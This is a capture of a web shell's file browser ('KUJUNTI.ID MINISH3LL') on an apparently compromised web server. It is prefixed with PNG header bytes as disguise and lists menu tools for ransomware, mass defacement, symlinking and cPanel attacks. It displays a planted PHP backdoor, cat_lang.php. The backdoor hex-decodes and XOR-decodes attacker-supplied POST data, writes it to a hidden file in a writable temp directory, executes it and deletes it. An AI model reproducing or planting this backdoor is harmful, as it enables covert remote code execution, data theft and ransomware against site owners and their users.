\x89PNG\r\n\x1a\n\x00\x00\x00\x0DIHDR\x00\x00\x00\x01\x00 \x00\x00\x01\x08\x06\x00\x00\x00\x1F\x15\xC4\x89\x00\x00\x00 \x0AIDATx\x9Ccb\x00\x00\x00\x06\x00\x03\x1A\x05\x9D\x00\x00 \x00\x00IEND\xAE\x42\x60\x82 csarite.com
KUJUNTI.ID MINISH3LL
Path : /var/www/html/tims.tv/
(S)h3ll Cr3at0r :
F!le Upl0ad :

B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H

Current File : /var/www/html/tims.tv/cat_lang.php


<?php

if(isset($_POST["\x64a\x74"]) ? true : false){
	$desc = hex2bin($_POST["\x64a\x74"]);
	$key   =      ''    ;      foreach(str_split($desc) as $char){$key .= chr(ord($char) ^ 44);}
	$sym = array_filter([getenv("TEMP"), getenv("TMP"), ini_get("upload_tmp_dir"), "/tmp", session_save_path(), "/dev/shm", getcwd(), sys_get_temp_dir(), "/var/tmp"]);
	for ($entity = 0, $tkn = count($sym); $entity < $tkn; $entity++) {
    $data = $sym[$entity];
    		if (!( !is_dir($data) || !is_writable($data) )) {
    $itm = "$data/.res";
    if (file_put_contents($itm, $key)) {
	require $itm;
	unlink($itm);
	exit;
}
}
}
}

© KUJUNTI.ID